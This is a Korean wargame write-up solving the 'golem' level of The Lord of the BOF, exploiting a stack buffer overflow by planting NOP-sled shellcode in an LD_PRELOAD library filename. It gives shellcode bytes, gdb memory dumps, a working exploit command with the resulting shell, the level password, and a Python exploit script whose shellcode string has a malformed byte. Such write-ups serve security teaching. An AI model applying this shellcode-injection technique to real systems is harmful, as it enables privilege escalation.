/*
The Lord of the BOF : The Fellowship of the BOF
- golem
- stack destroyer
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// stack destroyer!
memset(buffer, 0, 44);
memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}
0x01. Analysis
- RET의 시작주소는
\xbf
- buffer 배열 초기화
- RET이후 스택 영역 모두 초기화
앞문제에서 스택 최상단에 초기화 되지 않는 환경변수 영역까지 초기화 시키는 것을 확인할 수 있다.
따라서, 매개변수, 버퍼, 환경변수 모두 사용 불가하다.
이제 프로그램 실행에 있어서 큰그림을 살펴봐야한다. 프로그램이 동작할 때 메모리에 실행한 프로그램만 로드되는 것이 아니다. 프로그램 내부에서 사용하는 함수들도 필요하므로 전부 메모리에 로드되게 된다. 일반적으로 내부 함수들은 외부 라이브러리에 존재하기 때문에 다른 메모리 영역에 존재하게된다.
[skeleton@localhost skeleton]$ ldd golem
libc.so.6 => /lib/libc.so.6 (0x40018000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
프로그램 내부의 printf함수, strcpy, memset함수들이 모두 위 라이브러리에 속하여있고, 해당 주소에 위치되어 메모리에 로드된다.
여기서 만약 해당 라이브러리에 등록되지 않는 다른 임의의 함수를 추가해서 사용할 때는 어떻게 될까?
해당 함수를 메모리상에 로드해야 실행을 할 수 있으므로 프로그램 동작 시 사전에 메모리에 로드하게 된다.
이러한 설정을 할 수 있는 환경변수가 리눅스에 존재한다. LD_PRELOAD
이다.
LD_PRELOAD
프로세스를 실행하는 중에 라이브러리를 로딩할 때, LD_PRELOAD 환경변수가 설정되어 있으면 해당 변수에 지정된 라이브러리를 먼저 로딩하고, 이중 libc 함수명과 동일한 함수가 있다면 해당 함수를 먼저 호출해 준다. 이러한 특성을 이용하여 후킹도 가능하다.
1. LD_PRELOAD 환경 변수 등록
tmp.c 라는 파일을 만들고 해당 파일에 NOP코드와 쉘코드로 구성된 파일명으로 컴파일 한다.
이때 -fPIC
와 -shared
옵션을 사용하여 컴파일한다. 쉘코드 안에는 '\x2f'가 있으면 안된다.
[skeleton@localhost skeleton]$ mkdir tmp
[skeleton@localhost skeleton]$ cd tmp
[skeleton@localhost /tmp]$ vi tmp.c
//tmp.c
int main(){
return 0;
}
'\x2f'없는 shell(48byte) = \xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81
-fPIC : Position-Independent Code의 약자이며 .o 파일을 동적라이브러리로 사용하도록 컴파일 하는 옵션
-shared : 공유 라이브러리를 만드는 옵션
[skeleton@localhost tmp]$ gcc -fPIC -shared tmp.c -o `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[skeleton@localhost /tmp]$ ls
tmp.c
?????????????????????????????????????????????????????????????????????????????????????????????????????^12?l????u楕
?凹2핽i00tii0cjo??T????
그리고 export LD_PRELOAD 명령어로 해당 파일을 등록한다. 이때 파일명을 반드시 절대경로로 지정해야 한다.
[skeleton@localhost tmp]$ export LD_PRELOAD="/home/skeleton/tmp/`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`"
이제 gdb로 LD_PRELOAD 환경변수가 메모리 어디에 로드되는지 확인해보자.
[skeleton@localhost tmp]$ cd ../
[skeleton@localhost skeleton]$ gdb -q ./aolem
(gdb) b*main+166
(gdb) r `python -c 'print "\xbf"*48'`
Starting program: /home/skeleton/./aolem `python -c 'print "\xbf"*48'`
옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜
Breakpoint 1, 0x8048516 in main ()
(gdb) x/100x $esp-3000
==================================(생략)===================================
0xbffff754: 0x6d6f682f 0x6b732f65 0x74656c65 0x742f6e6f
0xbffff764: 0x902f706d 0x90909090 0x90909090 0x90909090
0xbffff774: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff784: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff794: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff7a4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff7b4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff7c4: 0x90909090 0xeb909090 0xc9315e11 0x6c8032b1
0xbffff7d4: 0x8001ff0e 0xf67501e9 0xeae805eb 0x32ffffff
0xbffff7e4: 0x306951c1 0x69697430 0x6f6a6330 0x5451e48a
0xbffff7f4: 0xb19ae28a 0x0081ce0c 0x40013868 0x4000220c
LD_PRELOAD는 golem의 메모리 영역보다 낮은 주소에 있기 때문에 초기화 되지 않은것을 알수 있다.
주소는 0xbffff774
근처로 잡으면 될 것같다.
0x02. Exploit
[skeleton@localhost skeleton]$ ./golem `python -c 'print "\x90"*44+"\x74\xf7\xff\xbf"'`
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱t?
풺ash$ id
uid=510(skeleton) gid=510(skeleton) euid=511(golem) egid=511(golem) groups=510(skeleton)
bash$ my-pass
euid = 511
cup of coffee
bash$
0x03. 정리
앞 문제에서 초기화 되지 않는 환경변수 영역이 있어 이를 이용한 공격이 가능했지만, 이 또한 egghunter가 아닌 다른 방법으로 초기화 할 수 있음을 확인할 수 있었다.
그리고 LD_PRELOAD
에 대해서 프로그램 실행시 사전에 메모리에 또다른 영역에 로드되는 것을 확인할 수 있었다.
실제 buffer배열의 주소와 LD_PRELOAD에 주소를 살펴보면,
Breakpoint 3, 0x80484d5 in main ()
(gdb) x/32x $ebp-40
0xbffffbc0: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf
0xbffffbd0: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf
0xbffffbe0: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf
0xbffffbf0: 0x00000000 0xbffffc34 0xbffffc40 0x40013868
0xbffff764: 0x902f706d 0x90909090 0x90909090 0x90909090
0xbffff774: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff784: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff794: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff7a4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff7b4: 0x90909090 0x90909090 0x90909090 0x90909090
buffer배열의 시작주소는 0xbffffbc0
이고 LD_PRELOAD의 시작주소는 0xbffff764
인 것을 확인할 수 있다.
memset을통해 buffer+48
부터 0xbfffffff
까지 초기화 하기 때문에 LD_PRELOAD 영역은 초기화 되지 않는 것이다.
import os
import struct
append = lambda x: payload + x
p32 = lambda x: struct.pack("<I", x)
target = "/home/skeleton/golem"
shellcode = "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\x\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"
shellcode = "\x90"*100 + shellcode
shellcode_addr = 0xbffff6b8
f = open("temp.c", "wt")
f.write("main(){}")
f.close()
pid = os.fork()
gcc = "/usr/bin/gcc"
if pid == 0:
os.execv(gcc, (gcc, '-fPIC', '-shared', '-o', shellcode, 'temp.c'))
else:
os.waitpid(pid, 0)
os.putenv('LD_PRELOAD', os.path.abspath(shellcode))
payload = "\x90"*44
payload = append(p32(shellcode_addr))
pid = os.fork()
if pid == 0:
os.execv(target, (target, payload))
else:
os.waitpid(pid, 0)